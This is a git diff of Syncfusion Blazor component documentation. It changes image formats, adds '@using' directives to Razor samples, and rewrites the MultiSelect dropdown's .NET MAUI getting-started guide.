diff --git a/blazor/menu-bar/usecase-scenario.md b/blazor/menu-bar/usecase-scenario.md
index fc441c5901..e9803798c3 100644
--- a/blazor/menu-bar/usecase-scenario.md
+++ b/blazor/menu-bar/usecase-scenario.md
@@ -73,7 +73,7 @@ The Menu Bar component supports horizontal and vertical scrolling to render larg
 
 ```
 
-![Blazor MenuBar with Scroller](./images/blazor-menubar-scroller.png)
+![Blazor MenuBar with Scroller](./images/blazor-menubar-scroller.webp)
 
 ## Hamburger Menu
 
@@ -140,7 +140,7 @@ The following example demonstrates the use case of [HamburgerMenu](https://help.
 
 ```
 
-![Blazor MenuBar with Hamburger Menu](./images/blazor-menubar-with-hamburger-menu.png)
+![Blazor MenuBar with Hamburger Menu](./images/blazor-menubar-with-hamburger-menu.webp)
 
 ## Mobile View
 
@@ -284,4 +284,4 @@ The following example demonstrates the use case of Menu Bar in Mobile mode with
 
 ```
 
-![Blazor MenuBar with Mobile View](./images/blazor-menubar-mobile-view.png)
\ No newline at end of file
+![Blazor MenuBar with Mobile View](./images/blazor-menubar-mobile-view.webp)
\ No newline at end of file
diff --git a/blazor/message/getting-started-webapp.md b/blazor/message/getting-started-webapp.md
index 268a5ec377..49730fe39d 100644
--- a/blazor/message/getting-started-webapp.md
+++ b/blazor/message/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Notifications
+
 <SfMessage>Please read the comments carefully</SfMessage>
 <style>
     .e-message {
diff --git a/blazor/message/getting-started-with-server-app.md b/blazor/message/getting-started-with-server-app.md
index 9f6dc218ef..abeda29492 100644
--- a/blazor/message/getting-started-with-server-app.md
+++ b/blazor/message/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Notifications
+
 <SfMessage>Please read the comments carefully</SfMessage>
 <style>
     .e-message {
diff --git a/blazor/multicolumn-combobox/getting-started-with-server-app.md b/blazor/multicolumn-combobox/getting-started-with-server-app.md
index 8381718487..09ea57941b 100644
--- a/blazor/multicolumn-combobox/getting-started-with-server-app.md
+++ b/blazor/multicolumn-combobox/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox TItem="string" TValue="string" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 {% endhighlight %}
@@ -177,6 +179,8 @@ After initialization, populate the MultiColumn ComboBox with data using the [Dat
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" ValueField="Name" TextField="Name" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 @code {
@@ -215,13 +219,15 @@ The MultiColumn ComboBox supports auto-generating columns from the data source.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
- <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
-     <MultiColumnComboboxColumns>
-         <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-     </MultiColumnComboboxColumns>
- </SfMultiColumnComboBox>
+@using Syncfusion.Blazor.MultiColumnComboBox
+
+<SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
+    <MultiColumnComboboxColumns>
+        <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+    </MultiColumnComboboxColumns>
+</SfMultiColumnComboBox>
 
 {% endhighlight %}
 {% endtabs %}
@@ -235,6 +241,8 @@ By default, the popup list width matches the input element width, and the height
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupHeight="350px" PopupWidth="400px" ValueField="Name" TextField="Name" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 {% endhighlight %}
diff --git a/blazor/multicolumn-combobox/getting-started-with-web-app.md b/blazor/multicolumn-combobox/getting-started-with-web-app.md
index 4f293f12c2..36b87c16f6 100644
--- a/blazor/multicolumn-combobox/getting-started-with-web-app.md
+++ b/blazor/multicolumn-combobox/getting-started-with-web-app.md
@@ -172,6 +172,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox TItem="string" TValue="string" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 {% endhighlight %}
@@ -188,6 +190,8 @@ After initialization, populate the MultiColumn ComboBox with data using the [Dat
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" ValueField="Name" TextField="Name" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 @code {
@@ -226,13 +230,15 @@ The MultiColumn ComboBox supports auto-generating columns from the data source.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
- <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
-     <MultiColumnComboboxColumns>
-         <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-     </MultiColumnComboboxColumns>
- </SfMultiColumnComboBox>
+@using Syncfusion.Blazor.MultiColumnComboBox
+
+<SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
+    <MultiColumnComboboxColumns>
+        <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+    </MultiColumnComboboxColumns>
+</SfMultiColumnComboBox>
 
 {% endhighlight %}
 {% endtabs %}
@@ -246,6 +252,8 @@ By default, the popup list width matches the input element width, and the height
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupHeight="350px" PopupWidth="400px" ValueField="Name" TextField="Name" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 {% endhighlight %}
diff --git a/blazor/multicolumn-combobox/getting-started.md b/blazor/multicolumn-combobox/getting-started.md
index ea0c1dee74..685b99d078 100644
--- a/blazor/multicolumn-combobox/getting-started.md
+++ b/blazor/multicolumn-combobox/getting-started.md
@@ -206,13 +206,15 @@ The MultiColumn ComboBox supports auto-generating columns, which automatically c
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
- <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
-     <MultiColumnComboboxColumns>
-         <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-         <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
-     </MultiColumnComboboxColumns>
- </SfMultiColumnComboBox>
+@using Syncfusion.Blazor.MultiColumnComboBox
+
+<SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupWidth="600px" ValueField="Name" TextField="Name" Placeholder="Select any product">
+    <MultiColumnComboboxColumns>
+        <MultiColumnComboboxColumn Field="Name" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Price" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+        <MultiColumnComboboxColumn Field="Availability" Width="200px" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></MultiColumnComboboxColumn>
+    </MultiColumnComboboxColumns>
+</SfMultiColumnComboBox>
 
 {% endhighlight %}
 {% endtabs %}
@@ -226,6 +228,8 @@ By default, the popup list automatically matches the width of the MultiColumn Co
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
+@using Syncfusion.Blazor.MultiColumnComboBox
+
 <SfMultiColumnComboBox @bind-Value="@Value" DataSource="@Products" PopupHeight="350px" PopupWidth="400px" ValueField="Name" TextField="Name" Placeholder="Select any product"></SfMultiColumnComboBox>
 
 {% endhighlight %}
diff --git a/blazor/multiselect-dropdown/getting-started-webapp.md b/blazor/multiselect-dropdown/getting-started-webapp.md
index afb71bc321..185b21c8bc 100644
--- a/blazor/multiselect-dropdown/getting-started-webapp.md
+++ b/blazor/multiselect-dropdown/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="string" Placeholder='First Name'></SfMultiSelect>
 
 {% endhighlight %}
@@ -185,6 +187,8 @@ After initialization, populate the MultiSelect using the [DataSource](https://he
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
 </SfMultiSelect>
@@ -224,6 +228,8 @@ The height and width of the popup list can also be customized using the [PopupHe
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" PopupHeight="350px" PopupWidth="350px" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
 </SfMultiSelect>
diff --git a/blazor/multiselect-dropdown/getting-started-with-maui-app.md b/blazor/multiselect-dropdown/getting-started-with-maui-app.md
index c6e17da1e8..91a17f592b 100644
--- a/blazor/multiselect-dropdown/getting-started-with-maui-app.md
+++ b/blazor/multiselect-dropdown/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor MultiSelect DropDown Component in MAUI App
 
-This guide walks through integrating the Syncfusion [Blazor MultiSelect Dropdown](https://www.syncfusion.com/blazor-components/blazor-multiselect-dropdown) component into a .NET MAUI Blazor app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/).
+This guide walks through integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor MultiSelect Dropdown](https://www.syncfusion.com/blazor-components/blazor-multiselect-dropdown) component in a Blazor MAUI App using [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -17,70 +17,59 @@ This guide walks through integrating the Syncfusion [Blazor MultiSelect Dropdown
 
 ## Prerequisites
 
-To use the .NET MAUI project templates, install the Mobile development with .NET workload for Visual Studio. For details, see the .NET MAUI installation guide for Visual Studio or use the Syncfusion Blazor Extension.
-
-- [.NET MAUI installation for Visual Studio](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin)
-- [Syncfusion Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio)
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-Create a Blazor MAUI App using Visual Studio via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDowns and Themes NuGet in the app
+{% endtabcontent %}
 
-To add the Blazor MultiSelect Dropdown component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+{% tabcontent Visual Studio Code %}
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+## Prerequisites
 
-Install-Package Syncfusion.Blazor.DropDowns -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
 
-{% endhighlight %}
-{% endtabs %}
+## Create a new Blazor MAUI App in Visual Studio Code
 
-N> Syncfusion Blazor components are available in NuGet. See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the complete list of packages and component details.
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-{% endtabcontent %}
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
-{% tabcontent Visual Studio Code %}
+{% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-## Prerequisites
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
-To use the .NET MAUI project templates, install the Mobile development with .NET workload for Visual Studio Code/.NET CLI. For details, see the .NET MAUI installation guide for Visual Studio Code or use the Syncfusion Blazor Extension.
+{% endhighlight %}
+{% endtabs %}
 
-- [.NET MAUI installation for VS Code](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code)
-- [Syncfusion Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project)
+{% endtabcontent %}
 
-## Create a new Blazor MAUI App in Visual Studio Code
+{% endtabcontents %}
 
-Create a Blazor MAUI App using Visual Studio Code via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-## Install Blazor DropDowns and Themes NuGet in the App
+Install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add **Blazor MultiSelect DropDown**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.DropDowns -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.DropDowns -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.DropDowns` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.DropDowns` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -91,79 +80,65 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html**.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor MultiSelect DropDown Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.DropDowns/scripts/sf-multiselect.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
+
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor MultiSelect DropDown component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor MultiSelect DropDown component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor MultiSelect DropDown component in the **~/Pages/Index.razor**.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor MultiSelect DropDown component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfMultiSelect TValue="string[]" TItem="string" Placeholder='First Name'></SfMultiSelect>
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample on Windows to launch the .NET MAUI Blazor app.
 
 ![Blazor MultiSelect Dropdown Component](./images/blazor-multiselect-dropdown-maui-app.png)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor MultiSelect Dropdown in a .NET MAUI Android app using the Android Emulator, follow these steps:
 
@@ -178,7 +153,9 @@ N> If any errors occur while using the Android Emulator, see [Troubleshooting An
 After initialization, populate the MultiSelect using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownBase-1.html#Syncfusion_Blazor_DropDowns_SfDropDownBase_1_DataSource) property. In the following example, a list of objects is bound to the component and `TItem` specifies the data type. Display and value fields are mapped via `MultiSelectFieldSettings`.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
@@ -217,7 +194,9 @@ By default, the width of the popup list automatically adjusts according to the M
 The height and width of the popup list can also be customized using the [PopupHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html#Syncfusion_Blazor_DropDowns_SfDropDownList_2_PopupHeight) and [PopupWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html#Syncfusion_Blazor_DropDowns_SfDropDownList_2_PopupWidth) properties respectively.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" PopupHeight="350px" PopupWidth="350px" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
@@ -232,7 +211,7 @@ The height and width of the popup list can also be customized using the [PopupHe
 
 Get the selected value of the MultiSelect component in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.MultiSelectEvents-2.html#Syncfusion_Blazor_DropDowns_MultiSelectEvents_2_ValueChange) event using the [ChangeEventArgs.Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.MultiSelectChangeEventArgs-1.html#Syncfusion_Blazor_DropDowns_MultiSelectChangeEventArgs_1_Value) property.
 
-{% highlight cshtml %}
+{% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/get-selected-value.razor %}
 
diff --git a/blazor/multiselect-dropdown/getting-started-with-server-app.md b/blazor/multiselect-dropdown/getting-started-with-server-app.md
index 84c686e350..c429eb2dc1 100644
--- a/blazor/multiselect-dropdown/getting-started-with-server-app.md
+++ b/blazor/multiselect-dropdown/getting-started-with-server-app.md
@@ -163,6 +163,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="string" Placeholder='First Name'></SfMultiSelect>
 
 {% endhighlight %}
@@ -179,6 +181,8 @@ After initialization, populate the MultiSelect using the [DataSource](https://he
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
 </SfMultiSelect>
@@ -218,6 +222,8 @@ The height and width of the popup list can also be customized using the [PopupHe
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" PopupHeight="350px" PopupWidth="350px" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
 </SfMultiSelect>
diff --git a/blazor/multiselect-dropdown/getting-started.md b/blazor/multiselect-dropdown/getting-started.md
index 296cefe865..43dd80b223 100644
--- a/blazor/multiselect-dropdown/getting-started.md
+++ b/blazor/multiselect-dropdown/getting-started.md
@@ -207,6 +207,8 @@ The height and width of the popup list can also be customized using the [PopupHe
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMultiSelect TValue="string[]" TItem="Games" Placeholder="Favorite Sports" PopupHeight="350px" PopupWidth="350px" DataSource="@LocalData">
     <MultiSelectFieldSettings Text="Text" Value="ID"></MultiSelectFieldSettings>
 </SfMultiSelect>
diff --git a/blazor/numeric-textbox/data-binding.md b/blazor/numeric-textbox/data-binding.md
index 6e204511b0..085b79abfd 100644
--- a/blazor/numeric-textbox/data-binding.md
+++ b/blazor/numeric-textbox/data-binding.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Data Binding in Blazor Numeric TextBox Component | Syncfusion
-description: Checkout and learn here all about data binding in Syncfusion Blazor Numeric TextBox component and more.
+description: Explore data binding techniques for Blazor Numeric TextBox including one-way, two-way, and dynamic value binding.
 platform: Blazor
 control: Numeric TextBox
 documentation: ug
diff --git a/blazor/numeric-textbox/getting-started.md b/blazor/numeric-textbox/getting-started.md
index 9288412dc0..23d4bba101 100644
--- a/blazor/numeric-textbox/getting-started.md
+++ b/blazor/numeric-textbox/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor NumericTextBox Component
 
-This section  explains how to add the [Blazor Numeric TextBox](https://www.syncfusion.com/blazor-components/blazor-numeric-textbox) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor Numeric TextBox component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/NumericTextBox) sample.
